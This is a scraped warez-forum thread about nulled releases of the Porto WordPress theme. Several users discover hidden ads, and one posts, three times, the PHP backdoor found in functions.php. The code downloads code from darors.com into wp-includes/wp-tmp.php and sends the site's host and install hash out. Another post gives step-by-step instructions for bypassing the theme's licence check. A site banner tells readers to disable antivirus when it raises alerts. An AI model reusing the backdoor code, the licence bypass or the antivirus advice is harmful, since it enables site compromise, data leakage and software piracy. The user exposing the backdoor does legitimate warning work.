really i cant undrestand! theme is clear! just give where this links located on theme!?!ok, so those links hidden are not ads). ok.
Great work btw.
maybe you install any ads plugin ?!
-
You MUST read the Babiato Rules before making your first post otherwise you may get permanent warning points or a permanent Ban.
Our resources on Babiato Forum are CLEAN and SAFE. So you can use them for development and testing purposes. If your are on Windows and have an antivirus that alerts you about a possible infection: Know it's a false positive because all scripts are double checked by our experts. We advise you to add Babiato to trusted sites/sources or disable your antivirus momentarily while downloading a resource. "Enjoy your presence on Babiato"
Porto | Best Multipurpose & WooCommerce Themes For WordPress v7.0.10
- Thread starter BaapJaan
- Start date
maybe you install any ads plugin ?!
Babak updated Porto | Responsive WordPress + eCommerce Theme with a new update entry:
Porto v4.9.7 Nulled
Read the rest of this update entry...
Porto v4.9.7 Nulled
Download Porto v4.9.7 | Responsive WordPress + eCommerce Theme Free Nulled
Nulled Version Included
You Can Active With Any Key!
Demo Proof On LocalHost!:
Read the rest of this update entry...
Ok, what i mean, not adds, sorry, Ads, full of them. like you will see on this attachment. The ads seems to be legit, no malware or something like this, but adblock just block the header content (block) so far
Haven't checked the theme yet, but those url's should never exists in any theme by default, check if you've added adsense or any other advertisements to your theme's Ad panel / or via any plugin . . If yes, then you're fine.
No, i didnt any plugin or adsense. Instaled The theme, and The required plugins. On local enviroment, those links dont exist, if i install The theme on a server, Voila,. And, only on class "banner". If i change from funcționa.php all banner classes to anything else, those links disapear. I didnt investigate deep enought to see from where are loaded, because i dont care s-o much, but we cant use this theme for production.
so... this is what i found so far in this theme, that is very strange:
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://www.darors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.darors.com/admin.txt'));
}
if ($ping2) {
$content = @file_get_contents('http://www.darors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.darors.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}
I dont think that its normlat to exists this script. So i this theme its not safe.
so, the file function.php is populate with this thing after the theme is installed....
ok, so now, we have a backdoor + ads
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://www.darors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.darors.com/admin.txt'));
}
if ($ping2) {
$content = @file_get_contents('http://www.darors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.darors.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}
I dont think that its normlat to exists this script. So i this theme its not safe.
so, the file function.php is populate with this thing after the theme is installed....
ok, so now, we have a backdoor
+ ads
Last edited:
so... this is what i found so far in this theme, that is very strange:
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.darors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://www.darors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.darors.com/admin.txt'));
}
if ($ping2) {
$content = @file_get_contents('http://www.darors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.darors.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}
I dont think that its normlat to exists this script. So i this theme its not safe.
so, the file function.php is populate with this thing after the theme is installed....
ok, so now, we have a backdoor
I'll install the theme - will give feedback then . .
latest theme dowload "https://www60.zippyshare.com/v/JWoLAiu8/file.html" contains the backdoor + ads, and the "https://www79.zippyshare.com/v/3kz5QSTr/file.html" ads so far.
Babak updated Porto | Responsive WordPress + eCommerce Theme with a new update entry:
Porto v4.10.0
Read the rest of this update entry...
Porto v4.10.0
Read the rest of this update entry...
Babak updated Porto | Responsive WordPress + eCommerce Theme with a new update entry:
Porto v4.11
Read the rest of this update entry...
Porto v4.11
Read the rest of this update entry...
how to null porto theme!
No, this no longer works - the theme now requires legit key to get the demos.
Here are all the demos from 4.7.2 http://uploadboy.me/iy92cryemg7c/
To null the theme, in the file inc/admin/admin.php find the function check_purchase_code Line 91 and after line 91 add this code:
Now use any key to activate the theme.PHP:return "verified";
Upload the demo zips (not the single big zip file but the individual demo files) to your WP install wp-content/uploads/porto_demos (you will need to create this folder)
Then in the file porto/inc/plugins/importer/imported-api.php, comment out line 146 Find this
and change it toPHP:$response = wp_remote_get( $url, $args );
PHP:// $response = wp_remote_get( $url, $args );
A few lines later (151) change
toJavaScript:$body = wp_remote_retrieve_body( $response );
Now you can install any of the demos.PHP:$body = file_get_contents('../wp-content/uploads/porto_demos/' . $this->demo . '.zip');
Please note that you must have installed and activated any plugins necessary for the demo (it will tell you if you are missing a plugin when you go to install the demo)
Proof Images:
Where can I find a legit key?
Babak updated Porto | Responsive WordPress + eCommerce Theme with a new update entry:
Porto v4.11.1
Read the rest of this update entry...
Porto v4.11.1
Read the rest of this update entry...
Babak updated Porto | Responsive WordPress + eCommerce Theme with a new update entry:
Porto v4.11.2
Read the rest of this update entry...
Porto v4.11.2
Read the rest of this update entry...
Similar threads
